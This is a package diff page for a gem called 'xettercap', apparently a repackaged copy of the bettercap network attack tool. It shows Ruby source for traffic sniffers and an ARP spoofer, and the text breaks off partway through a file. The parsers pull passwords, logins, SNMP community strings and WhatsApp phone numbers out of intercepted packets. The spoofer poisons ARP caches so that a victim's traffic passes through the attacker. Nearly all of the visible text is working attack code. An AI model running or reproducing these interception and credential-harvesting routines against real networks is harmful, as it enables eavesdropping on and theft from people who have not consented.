xettercap 1.5.7xerob
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/bin/xettercap +61 -0
- data/lib/bettercap/banner +2 -0
- data/lib/bettercap/context.rb +259 -0
- data/lib/bettercap/discovery/agents/arp.rb +37 -0
- data/lib/bettercap/discovery/agents/base.rb +73 -0
- data/lib/bettercap/discovery/agents/icmp.rb +44 -0
- data/lib/bettercap/discovery/agents/udp.rb +30 -0
- data/lib/bettercap/discovery/thread.rb +128 -0
- data/lib/bettercap/error.rb +16 -0
- data/lib/bettercap/firewalls/base.rb +103 -0
- data/lib/bettercap/firewalls/bsd.rb +74 -0
- data/lib/bettercap/firewalls/linux.rb +65 -0
- data/lib/bettercap/firewalls/redirection.rb +42 -0
- data/lib/bettercap/loader.rb +27 -0
- data/lib/bettercap/logger.rb +131 -0
- data/lib/bettercap/memory.rb +56 -0
- data/lib/bettercap/monkey/celluloid/actor.rb +23 -0
- data/lib/bettercap/monkey/celluloid/io/udp_socket.rb +26 -0
- data/lib/bettercap/monkey/em-proxy/proxy.rb +23 -0
- data/lib/bettercap/monkey/openssl/server.rb +35 -0
- data/lib/bettercap/monkey/packetfu/pcap.rb +51 -0
- data/lib/bettercap/monkey/packetfu/utils.rb +210 -0
- data/lib/bettercap/monkey/system.rb +25 -0
- data/lib/bettercap/network/arp_reader.rb +91 -0
- data/lib/bettercap/network/hw-prefixes +21326 -0
- data/lib/bettercap/network/network.rb +102 -0
- data/lib/bettercap/network/packet_queue.rb +129 -0
- data/lib/bettercap/network/protos/base.rb +154 -0
- data/lib/bettercap/network/protos/dhcp.rb +227 -0
- data/lib/bettercap/network/protos/mysql.rb +40 -0
- data/lib/bettercap/network/protos/ntlm.rb +97 -0
- data/lib/bettercap/network/protos/snmp.rb +49 -0
- data/lib/bettercap/network/protos/teamviewer.rb +119 -0
- data/lib/bettercap/network/servers/dnsd.rb +152 -0
- data/lib/bettercap/network/servers/httpd.rb +55 -0
- data/lib/bettercap/network/services +2182 -0
- data/lib/bettercap/network/target.rb +168 -0
- data/lib/bettercap/network/validator.rb +96 -0
- data/lib/bettercap/options/core_options.rb +197 -0
- data/lib/bettercap/options/options.rb +165 -0
- data/lib/bettercap/options/proxy_options.rb +314 -0
- data/lib/bettercap/options/server_options.rb +73 -0
- data/lib/bettercap/options/sniff_options.rb +90 -0
- data/lib/bettercap/options/spoof_options.rb +71 -0
- data/lib/bettercap/pluggable.rb +37 -0
- data/lib/bettercap/proxy/http/module.rb +105 -0
- data/lib/bettercap/proxy/http/modules/injectcss.rb +79 -0
- data/lib/bettercap/proxy/http/modules/injecthtml.rb +80 -0
- data/lib/bettercap/proxy/http/modules/injectjs.rb +79 -0
- data/lib/bettercap/proxy/http/proxy.rb +184 -0
- data/lib/bettercap/proxy/http/request.rb +192 -0
- data/lib/bettercap/proxy/http/response.rb +226 -0
- data/lib/bettercap/proxy/http/ssl/authority.rb +182 -0
- data/lib/bettercap/proxy/http/ssl/bettercap-ca.pem +49 -0
- data/lib/bettercap/proxy/http/ssl/server.rb +63 -0
- data/lib/bettercap/proxy/http/sslstrip/cookiemonitor.rb +67 -0
- data/lib/bettercap/proxy/http/sslstrip/lock.ico +0 -0
- data/lib/bettercap/proxy/http/sslstrip/strip.rb +325 -0
- data/lib/bettercap/proxy/http/streamer.rb +225 -0
- data/lib/bettercap/proxy/stream_logger.rb +181 -0
- data/lib/bettercap/proxy/tcp/module.rb +75 -0
- data/lib/bettercap/proxy/tcp/proxy.rb +123 -0
- data/lib/bettercap/proxy/thread_pool.rb +194 -0
- data/lib/bettercap/shell.rb +70 -0
- data/lib/bettercap/sniffer/parsers/base.rb +87 -0
- data/lib/bettercap/sniffer/parsers/cookie.rb +45 -0
- data/lib/bettercap/sniffer/parsers/creditcard.rb +62 -0
- data/lib/bettercap/sniffer/parsers/custom.rb +26 -0
- data/lib/bettercap/sniffer/parsers/dhcp.rb +45 -0
- data/lib/bettercap/sniffer/parsers/dict.rb +37 -0
- data/lib/bettercap/sniffer/parsers/ftp.rb +24 -0
- data/lib/bettercap/sniffer/parsers/httpauth.rb +44 -0
- data/lib/bettercap/sniffer/parsers/https.rb +42 -0
- data/lib/bettercap/sniffer/parsers/irc.rb +24 -0
- data/lib/bettercap/sniffer/parsers/mail.rb +24 -0
- data/lib/bettercap/sniffer/parsers/mpd.rb +36 -0
- data/lib/bettercap/sniffer/parsers/mysql.rb +27 -0
- data/lib/bettercap/sniffer/parsers/nntp.rb +24 -0
- data/lib/bettercap/sniffer/parsers/ntlmss.rb +34 -0
- data/lib/bettercap/sniffer/parsers/pgsql.rb +36 -0
- data/lib/bettercap/sniffer/parsers/post.rb +33 -0
- data/lib/bettercap/sniffer/parsers/redis.rb +39 -0
- data/lib/bettercap/sniffer/parsers/rlogin.rb +45 -0
- data/lib/bettercap/sniffer/parsers/snmp.rb +44 -0
- data/lib/bettercap/sniffer/parsers/snpp.rb +37 -0
- data/lib/bettercap/sniffer/parsers/teamviewer.rb +30 -0
- data/lib/bettercap/sniffer/parsers/url.rb +30 -0
- data/lib/bettercap/sniffer/parsers/whatsapp.rb +33 -0
- data/lib/bettercap/sniffer/sniffer.rb +142 -0
- data/lib/bettercap/spoofers/arp.rb +150 -0
- data/lib/bettercap/spoofers/base.rb +152 -0
- data/lib/bettercap/spoofers/icmp.rb +202 -0
- data/lib/bettercap/spoofers/none.rb +57 -0
- data/lib/bettercap/update_checker.rb +57 -0
- data/lib/bettercap/version.rb +18 -0
- data/lib/bettercap.rb +70 -0
- metadata +276 -0
@@ -0,0 +1,39 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Parsers
|
15
|
+
# Redis authentication parser.
|
16
|
+
class Redis < Base
|
17
|
+
def initialize
|
18
|
+
@name = 'REDIS'
|
19
|
+
end
|
20
|
+
def on_packet( pkt )
|
21
|
+
begin
|
22
|
+
if pkt.tcp_dst == 6379
|
23
|
+
lines = pkt.to_s.split(/\r?\n/)
|
24
|
+
lines.each do |line|
|
25
|
+
if line =~ /config\s+set\s+requirepass\s+(.+)$/i
|
26
|
+
pass = "#{$1}"
|
27
|
+
StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
|
28
|
+
elsif line =~ /AUTH\s+(.+)$/i
|
29
|
+
pass = "#{$1}"
|
30
|
+
StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
|
31
|
+
end
|
32
|
+
end
|
33
|
+
end
|
34
|
+
rescue
|
35
|
+
end
|
36
|
+
end
|
37
|
+
end
|
38
|
+
end
|
39
|
+
end
|
@@ -0,0 +1,45 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Parsers
|
15
|
+
# BSD rlogin authentication parser.
|
16
|
+
class Rlogin < Base
|
17
|
+
def initialize
|
18
|
+
@name = 'RLOGIN'
|
19
|
+
end
|
20
|
+
def on_packet( pkt )
|
21
|
+
begin
|
22
|
+
if pkt.tcp_dst == 513
|
23
|
+
# rlogin packet data = 0x00[client-username]0x00<server-username>0x00<terminal/speed>0x00
|
24
|
+
|
25
|
+
# if client username, server username and terminal/speed were supplied...
|
26
|
+
# regex starts at client username as the first null byte is stripped from pkt.payload.to_s
|
27
|
+
if pkt.payload.to_s =~ /\A([a-z0-9_-]+)\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
|
28
|
+
client_user = $1
|
29
|
+
server_user = $2
|
30
|
+
terminal = $3
|
31
|
+
StreamLogger.log_raw( pkt, @name, "client-username=#{client_user} server-username=#{server_user} terminal=#{terminal}" )
|
32
|
+
# else, if only server username and terminal/speed were supplied...
|
33
|
+
# regex starts at 0x00 as the first null byte is stripped from pkt.payload.to_s and the client username is empty
|
34
|
+
elsif pkt.payload.to_s =~ /\A\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
|
35
|
+
server_user = $1
|
36
|
+
terminal = $2
|
37
|
+
StreamLogger.log_raw( pkt, @name, "server-username=#{server_user} terminal=#{terminal}" )
|
38
|
+
end
|
39
|
+
end
|
40
|
+
rescue
|
41
|
+
end
|
42
|
+
end
|
43
|
+
end
|
44
|
+
end
|
45
|
+
end
|
@@ -0,0 +1,44 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
SNMP community string parser:
|
10
|
+
Author : Matteo Cantoni
|
11
|
+
Email : matteo.cantoni@nothink.org
|
12
|
+
|
13
|
+
This project is released under the GPL 3 license.
|
14
|
+
|
15
|
+
Todo: SNMPv2
|
16
|
+
|
17
|
+
=end
|
18
|
+
|
19
|
+
module BetterCap
|
20
|
+
module Parsers
|
21
|
+
# SNMP community string parser.
|
22
|
+
class SNMP < Base
|
23
|
+
def on_packet( pkt )
|
24
|
+
begin
|
25
|
+
if pkt.udp_dst == 161
|
26
|
+
|
27
|
+
packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
|
28
|
+
unless packet.nil?
|
29
|
+
if packet.snmp_version_number.to_i == 0
|
30
|
+
snmp_version = 'v1'
|
31
|
+
else
|
32
|
+
snmp_version = 'n/a'
|
33
|
+
end
|
34
|
+
|
35
|
+
msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
|
36
|
+
|
37
|
+
StreamLogger.log_raw( pkt, 'SNMP', msg )
|
38
|
+
end
|
39
|
+
end
|
40
|
+
rescue; end
|
41
|
+
end
|
42
|
+
end
|
43
|
+
end
|
44
|
+
end
|
@@ -0,0 +1,37 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Parsers
|
15
|
+
# Simple Network Paging Protocol (SNPP) authentication parser.
|
16
|
+
class Snpp < Base
|
17
|
+
def initialize
|
18
|
+
@name = 'SNPP'
|
19
|
+
end
|
20
|
+
def on_packet( pkt )
|
21
|
+
begin
|
22
|
+
if pkt.tcp_dst == 444
|
23
|
+
lines = pkt.to_s.split(/\r?\n/)
|
24
|
+
lines.each do |line|
|
25
|
+
if line =~ /LOGIn\s+(.+)\s+(.+)$/
|
26
|
+
user = $1
|
27
|
+
pass = $2
|
28
|
+
StreamLogger.log_raw( pkt, @name, "username=#{user} password=#{pass}" )
|
29
|
+
end
|
30
|
+
end
|
31
|
+
end
|
32
|
+
rescue
|
33
|
+
end
|
34
|
+
end
|
35
|
+
end
|
36
|
+
end
|
37
|
+
end
|
@@ -0,0 +1,30 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
module Parsers
|
16
|
+
# MySQL authentication parser.
|
17
|
+
class TeamViewer < Base
|
18
|
+
def on_packet( pkt )
|
19
|
+
begin
|
20
|
+
if pkt.tcp_dst == 5938 or pkt.tcp_src == 5938
|
21
|
+
packet = Network::Protos::TeamViewer::Packet.parse( pkt.payload )
|
22
|
+
unless packet.nil?
|
23
|
+
StreamLogger.log_raw( pkt, 'TEAMVIEWER', "#{'version'.blue}=#{packet.version.yellow} #{'command'.blue}=#{packet.command.yellow}" )
|
24
|
+
end
|
25
|
+
end
|
26
|
+
rescue; end
|
27
|
+
end
|
28
|
+
end
|
29
|
+
end
|
30
|
+
end
|
@@ -0,0 +1,30 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
module Parsers
|
16
|
+
# HTTP GET requests parser.
|
17
|
+
#class Url < Base
|
18
|
+
# def on_packet( pkt )
|
19
|
+
# s = pkt.to_s
|
20
|
+
# if s =~ /GET\s+([^\s]+)\s+HTTP.+Host:\s+([^\s]+).+/m
|
21
|
+
# host = $2
|
22
|
+
# url = $1
|
23
|
+
# unless url =~ /.+\.(png|jpg|jpeg|bmp|gif|img|ttf|woff|css|js).*/i
|
24
|
+
# StreamLogger.log_raw( pkt, 'GET', "http://#{host}#{url}" )
|
25
|
+
# end
|
26
|
+
# end
|
27
|
+
# end
|
28
|
+
#end
|
29
|
+
end
|
30
|
+
end
|
@@ -0,0 +1,33 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
WhatsApp OS Parser:
|
11
|
+
Author : Gianluca Costa
|
12
|
+
Email : g.costa@xplico.org
|
13
|
+
|
14
|
+
This project is released under the GPL 3 license.
|
15
|
+
|
16
|
+
=end
|
17
|
+
|
18
|
+
module BetterCap
|
19
|
+
module Parsers
|
20
|
+
# WhatsApp traffic parser.
|
21
|
+
class Whatsapp < Base
|
22
|
+
def on_packet( pkt )
|
23
|
+
begin
|
24
|
+
if ( pkt.tcp_dst == 443 or pkt.tcp_dst == 5222 or pkt.tcp_dst == 5223 ) and pkt.payload =~ /^WA.*?([a-zA-Z\-\.0-9]+).*?([0-9]+)/
|
25
|
+
version = $1
|
26
|
+
phone = $2
|
27
|
+
StreamLogger.log_raw( pkt, 'WHATSAPP', "#{'phone'.green}=#{phone.yellow} #{'version'.green}=#{version.yellow}" )
|
28
|
+
end
|
29
|
+
rescue; end
|
30
|
+
end
|
31
|
+
end
|
32
|
+
end
|
33
|
+
end
|
@@ -0,0 +1,142 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
# Class responsible of loading BetterCap::Parsers instances and performing
|
16
|
+
# network packet sniffing and dumping.
|
17
|
+
class Sniffer
|
18
|
+
include PacketFu
|
19
|
+
|
20
|
+
@@ctx = nil
|
21
|
+
@@parsers = nil
|
22
|
+
@@pcap = nil
|
23
|
+
@@cap = nil
|
24
|
+
|
25
|
+
# Start a new thread that will sniff packets from the network and pass
|
26
|
+
# each one of them to the BetterCap::Parsers instances loaded inside the
|
27
|
+
# +ctx+ BetterCap::Context instance.
|
28
|
+
def self.start( ctx )
|
29
|
+
Thread.new {
|
30
|
+
Logger.debug 'Starting sniffer ...'
|
31
|
+
|
32
|
+
setup( ctx )
|
33
|
+
|
34
|
+
start = Time.now
|
35
|
+
skipped = 0
|
36
|
+
processed = 0
|
37
|
+
|
38
|
+
self.stream.each do |raw_packet|
|
39
|
+
break unless @@ctx.running
|
40
|
+
begin
|
41
|
+
parsed = PacketFu::Packet.parse(raw_packet)
|
42
|
+
rescue Exception => e
|
43
|
+
parsed = nil
|
44
|
+
end
|
45
|
+
|
46
|
+
if skip_packet?(parsed)
|
47
|
+
skipped += 1
|
48
|
+
else
|
49
|
+
processed += 1
|
50
|
+
append_packet raw_packet
|
51
|
+
parse_packet parsed
|
52
|
+
end
|
53
|
+
end
|
54
|
+
|
55
|
+
stop = Time.now
|
56
|
+
delta = ( stop - start ) * 1000.0
|
57
|
+
total = skipped + processed
|
58
|
+
|
59
|
+
Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} ms ( #{skipped} skipped packets, #{processed} processed packets )"
|
60
|
+
}
|
61
|
+
end
|
62
|
+
|
63
|
+
private
|
64
|
+
|
65
|
+
# Return the current PCAP stream.
|
66
|
+
def self.stream
|
67
|
+
if @@ctx.options.sniff.src.nil?
|
68
|
+
return @@cap.stream
|
69
|
+
else
|
70
|
+
Logger.info "[#{'SNIFFER'.green}] Reading packets from #{@@ctx.options.sniff.src} ..."
|
71
|
+
|
72
|
+
begin
|
73
|
+
return PacketFu::PcapFile.file_to_array @@ctx.options.sniff.src
|
74
|
+
rescue Exception => e
|
75
|
+
Logger.error "Error while parsing #{@@ctx.options.sniff.src}: #{e.message}"
|
76
|
+
Logger.exception e
|
77
|
+
end
|
78
|
+
end
|
79
|
+
return []
|
80
|
+
end
|
81
|
+
|
82
|
+
# Return true if the +pkt+ packet instance must be skipped.
|
83
|
+
def self.skip_packet?( pkt )
|
84
|
+
begin
|
85
|
+
# not parsed
|
86
|
+
return true if pkt.nil?
|
87
|
+
# not IP packet
|
88
|
+
return true unless pkt.is_ip?
|
89
|
+
# skip if local packet and --local|-L was not specified.
|
90
|
+
unless @@ctx.options.sniff.local
|
91
|
+
return ( pkt.ip_saddr == @@ctx.iface.ip or pkt.ip_daddr == @@ctx.iface.ip )
|
92
|
+
end
|
93
|
+
rescue; end
|
94
|
+
false
|
95
|
+
end
|
96
|
+
|
97
|
+
# Apply each parser on the given +parsed+ packet.
|
98
|
+
def self.parse_packet( parsed )
|
99
|
+
@@parsers.each do |parser|
|
100
|
+
begin
|
101
|
+
parser.on_packet parsed
|
102
|
+
rescue Exception => e
|
103
|
+
Logger.exception e
|
104
|
+
end
|
105
|
+
end
|
106
|
+
end
|
107
|
+
|
108
|
+
# Append the packet +p+ to the current PCAP file.
|
109
|
+
def self.append_packet( p )
|
110
|
+
begin
|
111
|
+
@@pcap.array_to_file(
|
112
|
+
filename: @@ctx.options.sniff.output,
|
113
|
+
array: [p],
|
114
|
+
append: true ) unless @@pcap.nil?
|
115
|
+
rescue Exception => e
|
116
|
+
Logger.exception e
|
117
|
+
end
|
118
|
+
end
|
119
|
+
|
120
|
+
# Setup all needed objects for the sniffer using the +ctx+ Context instance.
|
121
|
+
def self.setup( ctx )
|
122
|
+
@@ctx = ctx
|
123
|
+
|
124
|
+
unless @@ctx.options.sniff.output.nil?
|
125
|
+
@@pcap = PacketFu::PcapFile.new
|
126
|
+
Logger.info "[#{'SNIFFER'.green}] Saving packets to #{@@ctx.options.sniff.output} ."
|
127
|
+
end
|
128
|
+
|
129
|
+
if @@ctx.options.sniff.custom_parser.nil?
|
130
|
+
@@parsers = Parsers::Base.load_by_names @@ctx.options.sniff.parsers
|
131
|
+
else
|
132
|
+
@@parsers = Parsers::Base.load_custom @@ctx.options.sniff.custom_parser
|
133
|
+
end
|
134
|
+
|
135
|
+
@@cap = Capture.new(
|
136
|
+
iface: @@ctx.options.core.iface,
|
137
|
+
filter: @@ctx.options.sniff.filter,
|
138
|
+
start: true
|
139
|
+
)
|
140
|
+
end
|
141
|
+
end
|
142
|
+
end
|
@@ -0,0 +1,150 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
module Spoofers
|
16
|
+
# This class is responsible of performing ARP spoofing on the network.
|
17
|
+
class Arp < Base
|
18
|
+
# Initialize the BetterCap::Spoofers::Arp object.
|
19
|
+
def initialize
|
20
|
+
@ctx = Context.get
|
21
|
+
@forwarding = @ctx.firewall.forwarding_enabled?
|
22
|
+
@spoof_thread = nil
|
23
|
+
@sniff_thread = nil
|
24
|
+
@capture = nil
|
25
|
+
@running = false
|
26
|
+
|
27
|
+
update_gateway!
|
28
|
+
end
|
29
|
+
|
30
|
+
# Send a spoofed ARP reply to the target identified by the +daddr+ IP address
|
31
|
+
# and +dmac+ MAC address, spoofing the +saddr+ IP address and +smac+ MAC
|
32
|
+
# address as the source device.
|
33
|
+
def send_spoofed_packet( saddr, smac, daddr, dmac )
|
34
|
+
pkt = PacketFu::ARPPacket.new
|
35
|
+
pkt.eth_saddr = smac
|
36
|
+
pkt.eth_daddr = dmac
|
37
|
+
pkt.arp_saddr_mac = smac
|
38
|
+
pkt.arp_daddr_mac = dmac
|
39
|
+
pkt.arp_saddr_ip = saddr
|
40
|
+
pkt.arp_daddr_ip = daddr
|
41
|
+
pkt.arp_opcode = 2
|
42
|
+
|
43
|
+
@ctx.packets.push(pkt)
|
44
|
+
end
|
45
|
+
|
46
|
+
# Start the ARP spoofing.
|
47
|
+
def start
|
48
|
+
Logger.debug "Starting ARP spoofer ( #{@ctx.options.spoof.half_duplex ? 'Half' : 'Full'} Duplex ) ..."
|
49
|
+
|
50
|
+
stop() if @running
|
51
|
+
@running = true
|
52
|
+
|
53
|
+
if @ctx.options.spoof.kill
|
54
|
+
Logger.warn "Disabling packet forwarding."
|
55
|
+
@ctx.firewall.enable_forwarding(false) if @forwarding
|
56
|
+
else
|
57
|
+
@ctx.firewall.enable_forwarding(true) unless @forwarding
|
58
|
+
end
|
59
|
+
|
60
|
+
@sniff_thread = Thread.new { arp_watcher }
|
61
|
+
@spoof_thread = Thread.new { arp_spoofer }
|
62
|
+
end
|
63
|
+
|
64
|
+
# Stop the ARP spoofing, reset firewall state and restore targets ARP table.
|
65
|
+
def stop
|
66
|
+
raise 'ARP spoofer is not running' unless @running
|
67
|
+
|
68
|
+
Logger.debug 'Stopping ARP spoofer ...'
|
69
|
+
|
70
|
+
@running = false
|
71
|
+
begin
|
72
|
+
@spoof_thread.exit
|
73
|
+
rescue
|
74
|
+
end
|
75
|
+
|
76
|
+
Logger.debug "Restoring ARP table of #{@ctx.targets.size} targets ..."
|
77
|
+
|
78
|
+
# @ctx.targets.each do |target|
|
79
|
+
# if target.spoofable?
|
80
|
+
# 5.times do
|
81
|
+
# spoof(target, true)
|
82
|
+
# sleep 0.3
|
83
|
+
# end
|
84
|
+
# end
|
85
|
+
# end
|
86
|
+
|
87
|
+
Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
|
88
|
+
|
89
|
+
@ctx.firewall.enable_forwarding( @forwarding )
|
90
|
+
end
|
91
|
+
|
92
|
+
private
|
93
|
+
|
94
|
+
# Send an ARP spoofing packet to +target+, if +restore+ is true it will
|
95
|
+
# restore its ARP cache instead.
|
96
|
+
def spoof( target, restore = false )
|
97
|
+
if restore
|
98
|
+
send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
|
99
|
+
send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.spoof.half_duplex
|
100
|
+
@ctx.targets.each do |e|
|
101
|
+
if e.spoofable? and e.ip != target.ip and e.ip != @ctx.gateway.ip
|
102
|
+
send_spoofed_packet( e.ip, e.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
|
103
|
+
end
|
104
|
+
end
|
105
|
+
else
|
106
|
+
# tell the target we're the gateway
|
107
|
+
send_spoofed_packet( @ctx.gateway.ip, @ctx.iface.mac, target.ip, target.mac )
|
108
|
+
# tell the gateway we're the target
|
109
|
+
send_spoofed_packet( target.ip, @ctx.iface.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex
|
110
|
+
# tell the target we're everybody else in the network :D
|
111
|
+
@ctx.targets.each do |e|
|
112
|
+
if e.spoofable? and e.ip != target.ip and e.ip != @ctx.gateway.ip
|
113
|
+
send_spoofed_packet( e.ip, @ctx.iface.mac, target.ip, target.mac )
|
114
|
+
end
|
115
|
+
end
|
116
|
+
end
|
117
|
+
end
|
118
|
+
|
119
|
+
# Main spoofer loop.
|
120
|
+
def arp_spoofer
|
121
|
+
spoof_loop(1) { |target|
|
122
|
+
if target.spoofable?
|
123
|
+
spoof(target)
|
124
|
+
end
|
125
|
+
}
|
126
|
+
end
|
127
|
+
|
128
|
+
# Return true if the +pkt+ packet is an ARP 'who-has' query coming
|
129
|
+
# from some network endpoint.
|
130
|
+
def is_arp_query?(pkt)
|
131
|
+
# we're only interested in 'who-has' packets
|
132
|
+
pkt.arp_opcode == 1 and \
|
133
|
+
pkt.arp_dst_mac.to_s == '00:00:00:00:00:00' and \
|
134
|
+
pkt.arp_src_ip.to_s != @ctx.iface.ip
|
135
|
+
end
|
136
|
+
|
137
|
+
# Will watch for incoming ARP requests and spoof the source address.
|
138
|
+
def arp_watcher
|
139
|
+
Logger.debug 'ARP watcher started ...'
|
140
|
+
|
141
|
+
sniff_packets('arp') { |pkt|
|
142
|
+
if is_arp_query?(pkt)
|
143
|
+
Logger.info "[#{'ARP'.green}] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
|
144
|
+
send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.iface.mac, pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s
|
145
|
+
end
|
146
|
+
}
|
147
|
+
end
|
148
|
+
end
|
149
|
+
end
|
150
|
+
end
|
@@ -0,0 +1,152 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
module BetterCap
|
14
|
+
module Spoofers
|
15
|
+
# Base class for BetterCap::Spoofers modules.
|
16
|
+
class Base
|
17
|
+
# Hash of available spoofers ( spoofer name -> class name )
|
18
|
+
@@loaded = {}
|
19
|
+
|
20
|
+
class << self
|
21
|
+
# Called when this base class is inherited from one of the spoofers.
|
22
|
+
def inherited(subclass)
|
23
|
+
name = subclass.name.split('::')[2].upcase
|
24
|
+
@@loaded[name] = subclass.name
|
25
|
+
end
|
26
|
+
|
27
|
+
# Return a list of available spoofers names.
|
28
|
+
def available
|
29
|
+
@@loaded.keys
|
30
|
+
end
|
31
|
+
|
32
|
+
# Create an instance of a BetterCap::Spoofers object given its +name+.
|
33
|
+
# Will raise a BetterCap::Error if +name+ is not valid.
|
34
|
+
def get_by_name(name)
|
35
|
+
raise BetterCap::Error, "Invalid spoofer name '#{name}'!" unless available.include? name
|
36
|
+
BetterCap::Loader.load(@@loaded[name]).new
|
37
|
+
end
|
38
|
+
end
|
39
|
+
|
40
|
+
# Will raise NotImplementedError .
|
41
|
+
def initialize
|
42
|
+
not_implemented_method!
|
43
|
+
end
|
44
|
+
# Will raise NotImplementedError .
|
45
|
+
def start
|
46
|
+
not_implemented_method!
|
47
|
+
end
|
48
|
+
# Will raise NotImplementedError .
|
49
|
+
def stop
|
50
|
+
not_implemented_method!
|
51
|
+
end
|
52
|
+
|
53
|
+
private
|
54
|
+
|
55
|
+
# Will create a PacketFu::Capture object using the specified +filter+ and
|
56
|
+
# will yield every parsed packet to the given code block.
|
57
|
+
def sniff_packets( filter )
|
58
|
+
begin
|
59
|
+
@capture = PacketFu::Capture.new(
|
60
|
+
iface: @ctx.options.core.iface,
|
61
|
+
filter: filter,
|
62
|
+
start: true
|
63
|
+
)
|
64
|
+
rescue Exception => e
|
65
|
+
Logger.error e.message
|
66
|
+
end
|
67
|
+
|
68
|
+
@capture.stream.each do |p|
|
69
|
+
begin
|
70
|
+
unless @running
|
71
|
+
Logger.debug 'Stopping thread ...'
|
72
|
+
Thread.exit
|
73
|
+
break
|
74
|
+
end
|
75
|
+
|
76
|
+
pkt = PacketFu::Packet.parse p rescue nil
|
77
|
+
|
78
|
+
yield( pkt ) unless pkt.nil?
|
79
|
+
|
80
|
+
rescue Exception => e
|
81
|
+
Logger.error e.message
|
82
|
+
end
|
83
|
+
end
|
84
|
+
end
|
85
|
+
|
86
|
+
# Main spoof loop repeated each +delay+ seconds.
|
87
|
+
def spoof_loop( delay )
|
88
|
+
loop do
|
89
|
+
unless @running
|
90
|
+
Logger.debug 'Stopping spoofing thread ...'
|
91
|
+
Thread.exit
|
92
|
+
break
|
93
|
+
end
|
94
|
+
|
95
|
+
